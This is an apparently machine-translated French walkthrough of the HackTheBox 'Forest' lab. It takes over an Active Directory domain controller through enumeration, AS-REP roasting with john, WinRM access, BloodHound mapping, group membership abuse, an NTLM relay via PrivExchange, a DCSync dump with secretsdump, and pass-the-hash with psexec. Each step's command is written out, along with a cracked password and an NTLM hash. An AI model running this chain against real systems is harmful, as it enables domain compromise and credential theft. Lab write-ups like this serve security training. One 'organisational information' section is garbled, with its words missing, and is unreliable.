Hack The Box - Walkthrough Forest. Attaques de torréfaction AS-REP, DCSync et Pass-The-Hash

image

Je continue de publier des solutions envoyées pour un traitement ultérieur à partir du site HackTheBox . J'espère que cela aidera au moins quelqu'un à se développer dans le domaine de la sécurité de l'information. Dans cet article, nous aborderons la torréfaction AS-REP dans le schéma d'authentification Kerberos, utiliser BloodHound pour la reconnaissance de domaine, effectuer une attaque DCSync PrivExchange et une attaque Pass-The-Hash.

La connexion au laboratoire se fait via VPN. Il est recommandé de ne pas se connecter à partir d'un ordinateur de travail ou d'un hôte où les données importantes pour vous sont disponibles, car vous vous retrouvez sur un réseau privé avec des personnes qui connaissent quelque chose dans le domaine de la sécurité de l'information :)

Information organisationnelle
, - , :

  • PWN;
  • (Crypto);
  • c (Network);
  • (Reverse Engineering);
  • (Stegano);
  • WEB-.

, , , .

, , Telegram . , , .

. , - , .

Recon


Cette machine a une adresse IP 10.10.10.161, que j'ajoute à / etc / hosts.
10.10.10.161 forest.htb
Tout d'abord, nous analysons les ports ouverts. Puisqu'il faut beaucoup de temps pour analyser tous les ports avec nmap, je vais d'abord le faire avec masscan. Nous analysons tous les ports TCP et UDP à partir de l'interface tun0 à une vitesse de 1000 paquets par seconde.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.161 --rate=1000

image

Il y avait beaucoup de ports ouverts sur l'hôte, et j'ai décidé de m'assurer que les résultats fournis par masscan étaient corrects. Pour ce faire, il suffit de scanner l'état des ports dans nmap.

nmap 10.10.10.161 -p135,636,3269,49676,49665,53,593,49671,9389,49667,5985,49666,389,88,49684,464,3268,49677,47001,139,445,49714

image

Mais nmap a tout confirmé. Ensuite, vous devez collecter plus d'informations sur les ports connus de nmap.

nmap -A 10.10.10.161 -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001

image

Ensuite, vous devez obtenir autant d'informations que possible du système. Pour cela, j'ai utilisé enum4linux. Mais il nous a donné peu d'informations. Groupes, exigences de mot de passe, manque de SMBv1 et de ressources partagées, etc. Cependant, nous avons obtenu une liste d'utilisateurs.

enum4linux -a 10.10.10.161

image

Étant donné que Kerberos s'exécute sur l'hôte, vous devez vérifier s'il existe un tel compte d'utilisateur dont l'indicateur DONT_REQ_PREAUTH est défini dans l'UAC. Vous pouvez en savoir plus sur les drapeaux UAC et leur signification ici . L'indicateur DONT_REQ_PREAUTH signifie que l'authentification Kerberos n'est pas requise pour ce compte.

Tout d'abord, découvrez quels comptes d'utilisateurs sont actifs. Cela aidera à rendre le script samrdump inclus avec impacket.

impacket-samrdump forest.htb

image

image

Le script affiche d'abord tous les utilisateurs, puis des informations détaillées sur chacun d'eux. De cette façon, vous pouvez voir que le compte administrateur est actif et que l'invité ne l'est pas. Maintenant, nous pouvons faire une liste d'utilisateurs actifs.

image

Lorsque nous avons une liste d'utilisateurs actifs, nous pouvons vérifier la disponibilité du drapeau dont nous avons besoin. Nous pouvons le faire en utilisant le script GetNPUsers, qui fait également partie du package impacket. Nous spécifions le domaine htb.local, le contrôleur de domaine 10.10.10.161, la méthode d'authentification Kerberos (-k), l'option sans mot de passe et la liste des utilisateurs.

GetNPUsers.py htb.local/ -dc-ip 10.10.10.161 -k -no-pass -usersfile ADUsers.txt 

image

On nous dit que ce drapeau n'est pas défini pour tous les utilisateurs sauf svc-alfresco. Dans ma version d'impacket (21-dev), le hachage est demandé automatiquement.

Point d'entrée - Torréfaction AS-REP


Quelques mots sur ce que le hachage nous a été retourné. Vous trouverez ci-dessous le schéma d'authentification Kerberos.

image

Comme vous pouvez le voir, à la première étape: le client envoie un message avec l'ID utilisateur au serveur d'authentification AS avec la demande de service au nom de l'utilisateur. L'AS génère une clé secrète en hachant le mot de passe de l'utilisateur trouvé dans la base de données.

De cette façon, nous pouvons faire défiler le hachage et trouver le mot de passe. Ce type d'attaque est appelé torréfaction AS-REP. Enregistrez le hachage dans un fichier et recherchez le prototype.

john --wordlist=./rockyou.txt hashes2.txt

image

Et nous trouvons le mot de passe utilisateur.

UTILISATEUR


Si vous revenez aux ports ouverts, vous pouvez trouver un service WinRM fonctionnel (ou Windows Remote Management) conçu pour la gestion à distance. Nous avons un nom d'utilisateur et un mot de passe, nous pouvons donc nous y connecter en toute sécurité. Pour cela, j'utilise evil-winrm .

image

Nous prenons donc l'utilisateur.

RACINE


Intelligence avec BloodHound


Maintenant, nous devons augmenter nos privilèges. Afin de mapper des chemins LPE dans un domaine, vous pouvez utiliser le programme BloodHound .

Evil-winrm vous permet de télécharger des fichiers vers et depuis l'hôte. J'ai téléchargé sur l'hôte SharpHound - un module de collecte d'informations.

image

Evil-winrm vous permet également d'exécuter des scripts PowerShell. Nous indiquerons l'utilisateur, le mot de passe, et aussi que nous voulons savoir tout ce qui est possible.

image

Une fois le script exécuté, une archive zip apparaîtra dans le répertoire courant. Nous le téléchargeons depuis l'hôte.

image

Ensuite, exécutez le SGBD de graphe neo4j avec lequel BloodHound fonctionne.

neo4j console

image

Exécutez maintenant BloodHound. Un écran vierge nous rencontrera.

image

Maintenant, glissez-déposez simplement l'archive téléchargée dedans. Et allez dans l'onglet Requêtes.

image

Et nous disons que nous voulons trouver les chemins les plus courts vers les administrateurs de domaine. BloodHound va construire un graphique - le chemin vers nos progrès constants. En cliquant sur chaque nœud du réseau, nous recevrons des informations à son sujet.

image

Ainsi, on nous dit que nous devons devenir membre du groupe Autorisations Exchange Windows, car nous sommes traités avec le groupe de services privilégié Comptes de service, et alors seulement nous pouvons augmenter les privilèges.

net user svc-alfresco

image

L'utilisateur n'est pas actuellement dans ce groupe. Ajoutons-le, puis vérifions les groupes d'utilisateurs.

Add-ADGroupMember "Exchange Windows Permissions" svc-alfresco

image

L'utilisateur a bien été ajouté au groupe. Voyons maintenant ce que cela nous donne. Le groupe Autorisations Exchange Windows dispose des droits WriteDACL (droits d'accorder des droits) sur l'objet Domaine dans Active Directory, ce qui permet à tout membre du groupe de modifier les privilèges de domaine, y compris les opérations DCSync.

DCSync


Un peu sur l'attaque DCSync. La réplication Active Directory est le processus par lequel les modifications apportées à l'un des contrôleurs de domaine sont synchronisées avec les autres contrôleurs du domaine. Après avoir obtenu les autorisations nécessaires, nous pouvons lancer une demande de réplication, ce qui nous permettra d'obtenir des données stockées dans Active Directory, y compris des hachages de mot de passe.

Autrement dit, nous pouvons synchroniser les hachages de mot de passe des utilisateurs Active Directory et se connecter à n'importe quel service à l'aide des protocoles NTLM (développés par le protocole d'authentification réseau Microsoft) ou Kerberos. L'attaque implique l'utilisation de deux outils, privexchange.py et ntlmrelayx.py du paquet impacket.

Tout d'abord, exécutez ntlmrelayx en mode relais LDAP sur le contrôleur de domaine avec le compte svc-alfresco.

ntlmrelayx.py -t ldap://htb.local --escalate-user svc-alfresco

image

Tous les services sont en cours d'exécution et attendent une connexion. Utilisez maintenant privex.

python privexchange.py 10.10.10.161 -ah _ip -d htb.local -u svc-alfresco -p s3rvice

image

Et puis j'ai volé un tas d'erreurs, en fouillant quelques minutes, il a été décidé de ne pas les corriger. Vous pouvez suivre le lien ci-dessus dans le navigateur et passer l'authentification avec les informations d'identification svc-alfresco. Dans la fenêtre avec ntlmrelayx, nous verrons les informations de connexion.

image

Exécutez maintenant l'attaque DCSync à l'aide de secretsdump.

secretsdump.py htb.local/svc-alfresco:s3rvice@10.10.10.161 -just-dc

image

Bien. Nous avons pu répliquer tous les comptes.

Attaque passe-le-hachage


Cette attaque permet à un attaquant de se connecter à un serveur distant authentifié à l'aide du protocole NTLM ou LM.

Sur les systèmes utilisant le protocole d'authentification NTLM, les mots de passe ne sont jamais transmis en texte clair sur un canal de communication. Au lieu de cela, ils sont transférés vers le système approprié (tel qu'un contrôleur de domaine) sous forme de hachages à l'étape de réponse dans le schéma d'authentification question-réponse.

Les applications Windows demandent à l'utilisateur le mot de passe en texte clair, puis appellent l'API (par exemple, LsaLogonUser), qui traduit le mot de passe en un hachage LM et un hachage NTLM et les transmet pendant le processus d'authentification. L'analyse des protocoles a montré que pour une authentification réussie, il n'est pas nécessaire de connaître le mot de passe sous une forme claire, au lieu de cela, seul son hachage peut être utilisé.

L'attaque est basée sur une faiblesse dans la mise en œuvre du protocole d'authentification réseau. Il consiste en ce que les hachages de mot de passe sont transmis sans l'utilisation de sel, et restent donc inchangés de session en session (jusqu'à ce que le mot de passe utilisateur soit modifié). En d'autres termes, pour un attaquant, les hachages de mot de passe sont équivalents aux mots de passe eux-mêmes.

Effectuez une attaque en utilisant psexec.

psexec.py -hashes :32693b11e6aa90eb43d32c72a07ceea6 Administrator@10.10.10.161

image

Nous sommes dans un système avec tous les droits.

Vous pouvez nous rejoindre sur Telegram . Créons une communauté dans laquelle il y aura des gens qui connaissent bien de nombreux domaines de l'informatique, puis nous pourrons toujours nous entraider pour tout problème informatique et de sécurité de l'information.

All Articles